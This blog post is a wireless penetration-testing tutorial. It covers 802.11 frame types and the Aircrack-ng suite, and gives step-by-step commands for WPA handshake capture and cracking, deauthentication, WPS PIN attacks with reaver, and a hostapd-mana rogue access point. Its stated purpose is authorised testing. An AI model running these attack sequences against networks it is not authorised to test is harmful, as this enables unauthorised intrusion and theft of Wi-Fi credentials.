notmalicio.us
long read

Wi-Fi Hacking: A Deep Dive

Notes on wireless hacking

· 6 min read

Wireless testing has its own vocabulary and its own toolset. This post starts with how 802.11 frames work, walks through each tool in the Aircrack-ng suite, and then puts them together into WPA, WPS, and rogue access point attacks, with a command reference at the end.

Types of Frames

Management Frames

FramePurpose
BeaconFrame sent by AP approx. 10x/sec to keep the network in sync
ProbeFrames that scan for existing APs, which can consist of a request & response pattern
AuthenticationFrames for connecting to an AP in which the client and AP use the same frame for the request and response pattern
AssociationFrames that follow authentication and complete a connection to an AP using a request and response pattern
DeauthenticationFrames that cancel the authentication between a client and an AP

Control Frames

FramePurposeSubtype
RTSRequest to Send, which is a frame sent by a sender to the receiver 11
CTSClear to Send is a frame sent from the receiver as an approval response to an RTS from a given sender, which will also cause all other devices to hold from sending12
ACKAcknowledgement by receiver of sender's previous packet13

Aircrack-ng Deep Dive

This section deep dives into the Aircrack-ng suite of tools.

Airmon-ng

Finding drivers for wireless cards with airmon-ng:

sudo airmon-ng

Output should be a table such as the following:

PHYInterface DriverChipset
phy0wlan08812auTP-Link Archer T4UH v2 [Realtek RTL8812AU]

Airmon-ng Check

check finds all processes that may be interacting with network interfaces, and check kill kills these processes. check kill can help eliminate complications when putting an interface in monitor mode.

sudo airmon-ng check kill

Airmon-ng Start

To start an interface in monitor mode, where XXX is the interface:

sudo airmon-ng start XXX

A specific channel N can be specified after the interface:

sudo airmon-ng start XXX N

Airodump-ng

Sniff traffic on a given interface XXX:

sudo airodump-ng XXX

Options of note for this command:

FlagValue
-c NChannel number N, do not include to channel hop
--bssid XXXFilter by BSSID, where XXX is the BSSID
-w YYY ZZZOutput to file, where YYY is file type (i.e. cap, csv, etc.) and ZZZ is the filename
-gOutput to GPS file
--ivsOutput to Initialization Vector format

Keystrokes for when airodump-ng is running:

[SPACE]Pause/play the output on the screen
[TAB]Enables/disables scrolling on AP list, navigate with [DOWN] and [UP] keys
[M]Cycles through color options for a given AP
[A]Cycles through different displays
[S]Cycles through different sorting methods
[D]Reset sorting to default

Aireplay-ng

Aireplay-ng can perform a variety of attacks involving injection of frames. The aircrack-ng documentation lists support for 10 attacks:

NumberAttack
0Deauthentication
1Fake Authentication
2Interactive Packet Replay
3ARP Request Replay Attack
4KoreK Chopchop Attack
5Fragmentation Attack
6Cafe-Latte Attack
7Client-Oriented Fragmentation Attack
8WPA Migration Mode
9Injection Test

Aircrack-ng

Aircrack-ng is a tool that can use packet captures to crack WEP and WPA/WPA2 networks using PMKID or pre-shared keys.

Airdecap-ng

Airdecap-ng can decrypt packet capture files after a key has been obtained, among other data cleanup functions.

Airgraph-ng

Airgraph-ng can construct graphs of wireless networks from the outputs generated by airodump-ng.

Airolib-ng

Airolib-ng is a tool that can manage ESSID and password lists, compute the PMK, and make cracking WPA PSK phrases faster.

Create a database and store a wordlist in it:

echo ESSID > essid.txt & airolib-ng ESSID.sqlite --import essid essid.txt
airolib-ng ESSID.sqlite --import passwd WORDLIST

Batch process all of the PMKs:

airolib-ng ESSID.sqlite --batch

Crack the key, where OOO is the packet capture output file:

aircrack-ng -r ESSID.sqlite OOO.cap

WPA Attack

Check channel N for BSSID on interface XXX:

sudo airodump-ng XXX

Capture traffic, where OOO is output file name:

sudo airodump-ng XXX -c N -w OOO --essid ESSID --bssid BSSID

Deauthenticate a client:

sudo aireplay-ng -0 1 -a BSSID -c CLIENT XXX

Cancel the capture and crack the key:

aircrack-ng -w WORDLIST -e ESSID -b BSSID OOO.cap

Confirm the key (CRACKEDKEY) by decrypting the traffic:

airdecap-ng -e ESSID -b BSSID -p CRACKEDKEY OOO.cap

WPS Attack

Use wash to identify APs with WPS on interface XXX:

sudo wash -i XXX

Reaver

Use reaver to attack:

sudo reaver -b BSSID -i XXX -v

To speed this up, we can toggle reaver to invoke pixiewps with the -K flag:

sudo reaver -b BSSID -i XXX -v -K

Airgeddon

Find default pins with airgeddon, where AAAAAA are the first 6 characters of the BSSID:

source /usr/share/airgeddon/known_pins.db
echo ${PINDB["AAAAAA"]}
...PIN...
sudo reaver -b BSSID -i XXX -v -p PIN

Rogue Access Points

Conduct reconnaissance on interface XXX:

sudo airodump-ng -w discovery --output-format pcap XXX

Create the Rogue AP config, while attempting to match the existing AP as closely as possible:

  • hw_mode -> g if 2.4GHz and a if 5GHz
  • ieee80211n -> 1 if enabling 802.11n, 0 otherwise
  • wpa -> 1 for WPA, 2 for WPA2, and 3 for both
interface=XXX
ssid=ESSID
channel=N
hw_mode=g
ieee80211n=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=PASSWORD
wpa_pairwise=TKIP
rsn_pairwise=TKIP CCMP
mana_wpaout=/home/kali/Desktop/ESSID.hccapx

Start hostapd-mana with the conf file:

sudo hostapd-mana ESSID-MANA.conf

Sending a deauth may be necessary to coax the client to reconnect to the AP:

sudo aireplay-ng -0 0 -a BSSID wlan0 

Command Reference

lsusb

Identify usb devices with lsusb:

sudo lsusb -vvv

modinfo

Use modinfo to dive further into the parameters for a given driver XXXXX:

sudo modinfo XXXXX

In our example, we may run sudo modinfo 8812au

iw

In the following table:

  • XXX --> Interface, i.e. wlan0
CommandPurpose
iw list
List detailed information about all interfaces
iw XXX list
List information about a specific interface
iw dev XXX scan
Scan a given interface
sudo iw dev XXX interface add XXXmon type monitor
Add a network interface in monitor mode, which will need to be brought up with the following command:
sudo ip link set XXXmon up
sudo iw dev XXX interface del
Delete a network interface
sudo iw reg get
Output the regulatory domain that the wireless device complies with

rfkill

Allows for the enabling and disabling of wireless devices (Bluetooth or Wi-Fi). In the following table:

  • A --> the device ID number
CommandPurpose
sudo rfkill list
Lists all wireless devices connected to the host, their device IDs, and whether they are soft blocked or hard blocked
sudo rfkill block A
Institute a soft block on device with ID of A
sudo rfkill unblock A
Remove soft block on device with ID of A

Note: rfkill can only change soft blocks as hard blocks occur at the hardware level.

airodump-ng

Captures raw 802.11 frames and channel hops by default, where XXX is the interface:

sudo airodump-ng XXX

wpa_passphrase

To generate a wpa-psk, where ZZZ is the SSID:

wpa_passphrase ZZZ

wash

To retrieve information about an AP while an interface XXX is in monitor mode:

sudo wash -i XXX

Wrapping Up

Most wireless attacks follow the same pattern: put a card in monitor mode, find the target, capture the right frames (often by forcing a reconnect with a deauth), then crack or decrypt offline. Only test networks you own or have written permission to assess.

Misc Resources

esc
↑↓ navigate↵ openesc close